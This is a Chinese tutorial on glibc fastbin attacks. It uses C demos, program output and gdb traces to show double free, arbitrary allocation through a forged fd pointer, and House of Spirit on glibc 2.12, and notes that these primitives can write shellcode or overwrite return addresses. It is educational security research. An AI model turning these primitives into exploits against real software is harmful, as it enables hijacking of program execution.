

堆漏洞之 fastbin attack

测试平台

系统：CentOS release 6.10 (Final)、32 位

内核版本：Linux 2.6.32-754.10.1.el6.i686 i686 i386 GNU/Linux

gcc 版本：4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)

gdb 版本：GNU gdb (GDB) Red Hat Enterprise Linux (7.2-92.el6)

libc 版本：libc-2.12.so

glibc 版本：2.12-1.212

漏洞介绍

fastbin attack 是一类漏洞的利用方法, 是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是：

- 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
- 漏洞发生于 fastbin 类型的 chunk 中

我之前写了一篇关于 glibc2.30 内存分配管理的文章（github 地址：<https://github.com/ylcangel/exploits/tree/master/understand-glibc-2.30>），想必如果你用心看这篇文章并结合源码你会得到很大的收获。这里面详细的介绍了在内存分配和释放过程中落入 fastbin 范围内的 chunk 参与的逻辑。为方便我们下面课题的讲解，我在这里在稍微对 fastbin 做一些简单的总结性的介绍：

- 每个 fastbin[?]都是单链表形式，它仅用了 malloc_chunk 结构 fd 字段来串联链表，

SP00F|版权属于我个人所有，你可以用于学习，但不可以用于商业目的

同时它的 PREV_INUSE 位不会被清空。

- fastbin 遵循 LIFO 原则，每次内存分配都取链表表头，每次释放回收的 chunk 都插入到链表表头。

相同大小的 chunk

A	B	C	D	E
---	---	---	---	---

执行 free(A); free(B); free(C); free(D); free(E); 后落入同一个 fastbin 中，fastbin 链表节点如下：

E	D	C	B	A
---	---	---	---	---

malloc 申请相同大小的 chunk 依次获得 E、D、C、B、A

现在我们以一个例子来演示一下；该程序先申请大小相同的内存，然后按照申请顺序执行

free，在重新申请相同大小的内存，这期间打印各个 chunk 的信息，核心代码如下：

```
void* ptr1, *ptr2, *ptr3;
ptr1 = malloc(0x10); // fastbin
ptr2 = malloc(0x10); // fastbin 申请内存
ptr3 = malloc(0x10); // fastbin

mchunkptr p1 = (mchunkptr) (ptr1 - 2*SIZE_SZ);
mchunkptr p2 = (mchunkptr) (ptr2 - 2*SIZE_SZ);
mchunkptr p3 = (mchunkptr) (ptr3 - 2*SIZE_SZ);

PRINT_CHUNK(p1);
PRINT_CHUNK(p2);
PRINT_CHUNK(p3);
PRINT_LINE();
free(ptr1); free(ptr2); free(ptr3); 依次释放内存

PRINT_CHUNK_CONTAIN_BKFD(p1);
PRINT_CHUNK_CONTAIN_BKFD(p2);
PRINT_CHUNK_CONTAIN_BKFD(p3);
PRINT_LINE();

ptr1 = malloc(0x10); // fastbin
ptr2 = malloc(0x10); // fastbin 在重新申请内存
ptr3 = malloc(0x10); // fastbin

p1 = (mchunkptr) (ptr1 - 2*SIZE_SZ);
p2 = (mchunkptr) (ptr2 - 2*SIZE_SZ);
p3 = (mchunkptr) (ptr3 - 2*SIZE_SZ);

PRINT_CHUNK_CONTAIN_BKFD(p1);
PRINT_CHUNK_CONTAIN_BKFD(p2);
PRINT_CHUNK_CONTAIN_BKFD(p3);
return 0;
```

运行结果如下:

```
[sp00f@localhost fastbin_attack]$ ./fastbindemo
p = 0x8569000, mem = 0x8569008, p->mchunk_prev_size = 0, p->mchunk_size = 18, prev_inuse = 1
p = 0x8569018, mem = 0x8569020, p->mchunk_prev_size = 0, p->mchunk_size = 18, prev_inuse = 1
p = 0x8569030, mem = 0x8569038, p->mchunk_prev_size = 0, p->mchunk_size = 18, prev_inuse = 1

p = 0x8569000, mem = 0x8569008, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = (nil), p->bk = (nil), prev_inuse = 1
p = 0x8569018, mem = 0x8569020, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x8569000, p->bk = (nil), prev_inuse = 1
p = 0x8569030, mem = 0x8569038, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x8569018, p->bk = (nil), prev_inuse = 1

p = 0x8569030, mem = 0x8569038, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x8569018, p->bk = (nil), prev_inuse = 1
p = 0x8569018, mem = 0x8569020, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x8569000, p->bk = (nil), prev_inuse = 1
p = 0x8569000, mem = 0x8569008, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = (nil), p->bk = (nil), prev_inuse = 1
```

从图上可以看到, 程序的运行结果清晰的验证了我上面关于 fastbin 的总结描述。弄懂了这

两个原则, 我们就可以轻易的弄懂关于 fastbin 各种漏洞的原理和利用技巧。

fastbin double free

我之前写的 glibc 内存管理中有讲到, 在执行 free 时, 如果 chunk 大小落入 fastbin 范围

内会首先执行 fastbin 回收, 同时在回收时它会对回收 chunk 做一些校验;

```
/*
   If eligible, place chunk on a fastbin so it can be found
   and used quickly in malloc.
*/

if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()))
```

这些校验是回收 chunk 大小校验(不能小于最小分配尺寸和超过 arena 最大尺寸)和 double

free 校验; 我们发现它并没有做其他校验 (如当前 chunk 是否已经被回收在链表中)。

```
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
        || chunksize (chunk_at_offset (p, size)) >= av->system_mem);

if (fail)
    malloc_printerr ("free(): invalid next size (fast)");
}

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Check that the top of the bin is not the record we are going to
   add (i.e., double free). */
if (__builtin_expect (old == p, 0))
    malloc_printerr ("double free or corruption (fasttop)");
```

多个指针指向同一个内存

既然这样那我们就可以设计一个程序，让同一个 chunk 被回收两次，然后就会有多个指针指向同一个 chunk，这样我们就可以实现类似类型混淆的效果了，如果有一个指针指向函数指针，那我们就可以改变它的行为了。现在我们设计一个程序，程序完成以下功能：

- 1、申请两片大小相同的内存，该内存对应 chunk 均落入 fastbin 范围内
- 2、回收第一片内存两次

核心代码如下：

```
ptr1 = malloc(0x10); // fastbin
ptr2 = malloc(0x10); // fastbin

mchunkptr p1 = (mchunkptr) (ptr1 - 2*SIZE_SZ);
mchunkptr p2 = (mchunkptr) (ptr2 - 2*SIZE_SZ);

PRINT_CHUNK(p1);
PRINT_CHUNK(p2);
PRINT_LINE();
free(ptr1); free(ptr1);

PRINT_CHUNK_CONTAIN_BKFD(p1);
PRINT_CHUNK_CONTAIN_BKFD(p2);
PRINT_LINE();
```

运行结果如下：

```
sp00f@localhost fastbin_attack1$ ./fastbindemo1
p = 0x930c000, mem = 0x930c008, p->mchunk_prev_size = 0, p->mchunk_size = 18, prev_inuse = 1
p = 0x930c018, mem = 0x930c020, p->mchunk_prev_size = 0, p->mchunk_size = 18, prev_inuse = 1
*** glibc detected *** ./fastbindemo1: double free or corruption (fasttop): 0x0930c008 ***
===== Backtrace: =====
```

从程序我们看出 glibc 检测出了 double free，也就是我们上面提到的 `old == p`；看来我们不能这么做，好在 glibc 回收内存时没有其他校验了，于是我们重新设计程序，把连续两次释放内存 1 修改成先释放内存 1，在释放内存 2，在释放内存 1；然后重新申请两片大小和之前申请大小相同的内存；来测试一下效果如何，核心代码如下：

```

PRINT_LINE();
free(ptr1); free(ptr2); free(ptr1);

PRINT_CHUNK_CONTAIN_BKFD(p1);
PRINT_CHUNK_CONTAIN_BKFD(p2);
PRINT_LINE();

ptr1 = malloc(0x10); // fastbin
ptr2 = malloc(0x10); // fastbin
ptr3 = malloc(0x10); // fastbin

p1 = (mchunkptr) (ptr1 - 2*SIZE_SZ);
p2 = (mchunkptr) (ptr2 - 2*SIZE_SZ);
mchunkptr p3 = (mchunkptr) (ptr3 - 2*SIZE_SZ);

```

重新申请大小相同的三片内存

运行结果如下:

```

[sp00f@localhost fastbin_attack]$ ./fastbindemo2
p = 0x9a97000, mem = 0x9a97008, p->mchunk_prev_size = 0, p->mchunk_size = 18, prev_inuse = 1
p = 0x9a97018, mem = 0x9a97020, p->mchunk_prev_size = 0, p->mchunk_size = 18, prev_inuse = 1

p = 0x9a97000, mem = 0x9a97008, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x9a97018, p->bk = (nil), prev_inuse = 1
p = 0x9a97018, mem = 0x9a97020, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x9a97000, p->bk = (nil), prev_inuse = 1

p = 0x9a97000, mem = 0x9a97008, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x9a97018, p->bk = (nil), prev_inuse = 1
p = 0x9a97018, mem = 0x9a97020, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x9a97000, p->bk = (nil), prev_inuse = 1
p = 0x9a97000, mem = 0x9a97008, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x9a97018, p->bk = (nil), prev_inuse = 1
[sp00f@localhost fastbin_attack]$

```

从图中我们可以看到, 我们后面申请的三片内存, 第一片和第三片都指向同一个内存地址,

其原理如下图 (多次释放原理同此):

相同大小的 chunk

A	B	
---	---	--

执行 free(A); free(B); free(A); 后落入同一个 fastbin 中, fastbin 链表节点如下:

A	B	A	
---	---	---	--

malloc 申请相同大小的 chunk 依次获得 A、B、A

任意内存分配

前面的例子我们没有修改任何 chunk 的元数据, 仅仅是调用 free 两次, 现在我们在 free 两次的基础上修改 chunk 的 fd 指针, 来看看效果如何。那现在我们设计一个程序 (我之前讲堆漏洞之 extend 和 overlapping 时有特别讲过修改 chunk 元数据在分配和释放中带来的效果, 这里不再赘复, 感兴趣的可以在去看看那篇文章), 该程序和上面的程序不同之处仅

在于第一片内存调用两次 free 后，重新申请内存获得第一片内存的控制权，修改其字段 fd 指向一个构造的 chunk；在连续申请三次相同大小的内存，这样我们就获得了构造的内存；核心代码如下（第二片内存 ptr2 其实可有可无，这里不去掉只是为了代码重用）：

```
struct malloc_chunk fake_chunk; // global var 构造一个假的 chunk
int main() {

    void* ptr1, *ptr2, *ptr3;
    ptr1 = malloc(0x10); // fastbin
    ptr2 = malloc(0x10); // fastbin
    printf("fake chunk = %p\n", &fake_chunk);
    mchunkptr p1 = (mchunkptr) (ptr1 - 2*SIZE_SZ);
    mchunkptr p2 = (mchunkptr) (ptr2 - 2*SIZE_SZ);

    free(ptr1); free(ptr2); free(ptr1);

    fake_chunk.mchunk_size = 0x18 | PREV_INUSE;
    PRINT_CHUNK_CONTAIN_BKFD(p1);
    PRINT_CHUNK_CONTAIN_BKFD(p2);
    PRINT_LINE();

    ptr1 = malloc(0x10); // fastbin
    ptr2 = malloc(0x10); // fastbin

    p1 = (mchunkptr) (ptr1 - 2*SIZE_SZ);
    p2 = (mchunkptr) (ptr2 - 2*SIZE_SZ);
    p1->fd = &fake_chunk;

    malloc(0x10); // first chunk

    ptr3 = malloc(0x10); // fake chunk 获得假chunk
    mchunkptr p3 = (mchunkptr) (ptr3 - 2*SIZE_SZ);
    PRINT_CHUNK_CONTAIN_BKFD(p3);
    return 0;
}
```

运行结果如下：

```
[sp00f@localhost fastbin_attack]$ ./fastbindemo3
fake chunk = 0x80499a4
p = 0x9bc6000, mem = 0x9bc6008, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x9bc6018, p->bk = (nil), prev_inuse = 1
p = 0x9bc6018, mem = 0x9bc6020, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = 0x9bc6000, p->bk = (nil), prev_inuse = 1
p = 0x80499a4, mem = 0x80499ac, p->mchunk_prev_size = 0, p->mchunk_size = 18, p->fd = (nil), p->bk = (nil), prev_inuse = 1
```

从运行结果我们可以轻易看到，通过内存分配获得了我们构造的假的 chunk，实现了任意

chunk 的内存分配。原理大致如下图：

相同大小的 chunk

A	B	
---	---	--

执行 `free(A); free(B); free(A);` 后落入同一个 fastbin 中, 在构造 A 的下一个 chunk 也就是让 fd 指向 fake_chunk:

A	B	A	fake_chunk	
---	---	---	------------	--

malloc 申请相同大小的 chunk 依次获得 A、B、A、fake_chunk

fastbin double free 实现任意内存分配的原理是 **free 掉同一个内存两次**, 让它被 fastbin 回收两次 (同一个 fastbin[?]链表有两个节点指向该 chunk), 然后在申请内存得到该 chunk, 通过修改该 chunk 的 fd 指针指向一个伪 chunk (间接实现在 fastbin[?]链表中插入伪 chunk, 但实际链表中没有该伪 chunk), 这样在后续的内存申请时就会得到这个伪 chunk。通过控制堆元数据 fd, 我们实现了任意地址内存分配, 这样我们就可以对该区域实现任意写功能, 例如写入 shellcode, 写入我们想要的任意的恶意数据。

House of Spirit

House of Spirit 是 the Malloc Maleficarum 中的一种技术; 有了上面的介绍现在理解这个漏洞利用技巧并不难, 它和 fastbin double free 的任意内存分配有点相似; **house of spirit 是欺骗 glibc 内存回收机制, 修改 chunk 的用户视图的 mem (绕过头部 2*SIZE_SZ 大小, 也就是 malloc 返回的地址) 指向伪 chunk 的 fd 的地址, 这就相当于真 chunk 被替换成了伪 chunk (回收时会通过 `mem - 2*SIZE_SZ` 获取回收 chunk 的起始地址, 这样获取的 chunk 地址为伪 chunk 地址), 这就让一个伪 chunk 被回收并真正的插入到**

```
/* chunk corresponding to oldmem */
const mchunkptr oldp = mem2chunk (oldmem);
/* ... */
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
```

fastbin[?]链表中, 这样在后续的内存申请就会得到这个伪 chunk, 从而实现任意内存分配

和任意地址写功能（它和 fastbin double free 实现任意内存分配的区别在于它确实回收了伪 chunk）。

我们现在来构造一个例子演示一下,该例子先申请一片内存,内存大小落入 fastbin 范围内,然后我们在构造一个伪 chunk, 修改伪 chunk 大小让其落入 fastbin 范围内; 在修改第一片 chunk 使其用户视图的 mem (绕过头部 2*SIZE_SZ 大小, 也就是 malloc 返回的地址) 指向伪 chunk 的 fd 的地址, 核心代码如下:

```
struct malloc_chunk fake_chunk __attribute__((aligned (MINSIZE)));
fake_chunk.mchunk_size = 0x18;
printf("fake chunk = %p, fake chunk->fd = %p\n", &fake_chunk, &fake_chunk.fd);
void* ptr1, *ptr2;
ptr1 = malloc(0x10); // fastbin
ptr1 = (void*) &fake_chunk.fd;
free(ptr1);

ptr2 = malloc(0x10);

mchunkptr p2 = (mchunkptr) (ptr2 - 2*SIZE_SZ);
PRINT_META_CONTAIN_BKFD(p2);
```

运行结果:

```
[sp00f@localhost fastbin_attack]$ ./fasthos
fake chunk = 0xbf845c30, fake chunk->fd = 0xbf845c38
*** glibc detected *** ./fasthos: free(): invalid next size (fast): 0xbf845c38 ***
===== Backtrace: =====
```

从图上我们看到程序崩溃了, glibc 检查出了问题, 错误处对应源码 (版本不一样代码存在差异, 我后面的程序按运行机器的代码修改):

```
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
      || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}

if (fail)
  malloc_printerr ("free(): invalid next size (fast)");
}
```

我们对程序按照源码稍作修改并结合 gdb 调试看看具体出错位置, 修改程序如下:


```
ptr1 = (void*) &fake_chunk.fd;

mchunkptr p1 = (mchunkptr)(ptr1 - 2*SIZE_SZ);
INTERNAL_SIZE_T size = chunksize (p1); 当前chunk大小
mchunkptr p = chunk_at_offset (p1, size); 下一个chunk
INTERNAL_SIZE_T nomask_size = (mchunkptr)chunk_at_offset (p, size)->mchunk_size;
printf("chunk size = %x, next chunk = %p, next chunk nomask size = %x, next chunk size = %x\n",
      size, p, nomask_size, chunksize (p));
```

gdb 调试运行结果如下:

```
Starting program: /home/sp00f/vul_test/heap/fastbin_attack/fasthos0
fake chunk = 0xbffff210, fake_chunk->fd = 0xbffff218
chunk size = 18, next chunk = 0xbffff228, next chunk nomask size = 8048300, next chunk size = 8048300

Breakpoint 2, _int_free (av=0x784100, p=0xbffff210, have_lock=0) at malloc.c:4831
4831      size = chunksize(p);
(gdb) 
```

从图中我们可以看到在调用 free 时, 确实是 fake_chunk 被传入到了_int_free (而不是通过 malloc 申请的那个 chunk), 同时我们打印了通过 malloc 请求的 chunk (实际上内容已经被替换了) 的下一个 chunk (这个 chunk 根本就不存在) 的地址 (0xbffff228 = 0xbffff210 + 0x18) 和大小 0x8048300; 下面这幅图是 chunk_at_offset->size (glibc2.30 是 chunksize_nomask (chunk_at_offset (p, size))) 和 2*SIZE_SZ (32 位系统为 8) 对比满足条件 (0x8048300 >= 8) ;

```
(gdb) ni
0x00664768      4890      chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
1: x/3i $pc
=> 0x664768 <_int_free+1672>: cmp     $0x8,%eax
0x66476b <_int_free+1675>: jbe     0x664663 <_int_free+1411>
0x664771 <_int_free+1681>: mov     -0x1c(%ebp),%edx
(gdb) x/x $eax
0x8048300 <_init+44>: 0xc3c95b58
(gdb) ni
```

2*SIZE_SZ=8, 比较下一个chunk和2*SIZE_SZ的大小

下面这幅图是 chunksize (chunk_at_offset (p, size))和 system_mem (默认 132k) 做对比, 明显 0x8048300 >= 0x21000, 这里对比失败, 程序崩溃返回错误信息。

```
4891      || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
1: x/3i $pc
=> 0x664774 <_int_free+1684>: and     $0xffffffff,%eax
0x664777 <_int_free+1687>: cmp     0x44c(%edx),%eax
0x66477d <_int_free+1693>: jae     0x664663 <_int_free+1411> 和system_mem做对
(gdb) ni
4890      chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
1: x/3i $pc
=> 0x664777 <_int_free+1687>: cmp     0x44c(%edx),%eax
0x66477d <_int_free+1693>: jae     0x664663 <_int_free+1411>
0x664783 <_int_free+1699>: mov     -0x1c(%ebp),%edx
(gdb) x/x $edx+0x44c
0x78454c <main_arena+1100>: 0x00021000 132k
```

看来为让我们构造的程序正常运行，我们至少需要构造两个伪 chunk，并且待释放的伪 chunk 的下一个伪 chunk 的大小需要小于 system_mem(132k)，再次构造核心代码如下：

```
struct malloc_chunk fake_chunk[2] __attribute__((aligned (MINSIZE)));
fake_chunk[0].mchunk_size = 0x18;
fake_chunk[1].mchunk_size = 0x18;
printf("fake chunk[0] = %p, fake chunk[0]->fd = %p\n", &fake_chunk[0], &fake_chunk[0].fd);
printf("fake chunk[1] = %p, fake chunk[1]->fd = %p\n", &fake_chunk[1], &fake_chunk[1].fd);
void* ptr1, *ptr2;
ptr1 = malloc(0x10); // fastbin
ptr1 = (void*) &fake_chunk[0].fd; 指向第一个伪chunk
```

运行结果如下：

```
[sp00f@localhost fastbin-attack]$ ./fasthosi
fake chunk[0] = 0xbff59aa0, fake chunk[0]->fd = 0xbff59aa8
fake chunk[1] = 0xbff59ab8, fake chunk[1]->fd = 0xbff59ac0
chunk size = 18, next chunk = 0xbff59ab8, next chunk nomask size = bff59ad0, next chunk size = 18
p = 0xbff59aa0, mem = 0xbff59aa8, p->mchunk_prev_size = c30000, p->mchunk_size = 18, p->fd = (nil), p->bk = 0x1, prev_inuse = 0
[sp00f@localhost fastbin-attack]$
```

从图上我们可以清晰的看到，伪 chunk 已经被 free 回收了，并且在一次分配请求得到了这个我们构造的伪 chunk。总结一下，为实现 house of spirit 我们需要先构造至少两个连续的伪 chunk，并且伪 chunk 大小满足落入 fastbin 范围 (同时还不能大于 system_mem，其实条件还不止如此，看过 glibc 源码就知道，它还必须是非 mmap 内存、必须按 MALLOC_ALIGN_MASK 对齐、还要符合不是 double free 的情况)，然后通过赋值 malloc 返回的地址内容为存储伪 chunk->fd 的地址，相当于伪 chunk 的 mem (p = malloc(x); p = (void*) &fake_chunk[x].fd); 接着执行 free 释放掉通过 malloc 申请的内存 (p)，重新申请内存获得伪 chunk。有点类似悬浮指针的概念，原指针内容丢失 (内存泄漏)，新指针指向别处，回收时回收新指向的内容。

fastbin double free 任意内存分配和 house of spirit 任意内存分配均可以实现内存栈上分配，这样我们就有机会修改栈上的返回地址来控制程序执行流程。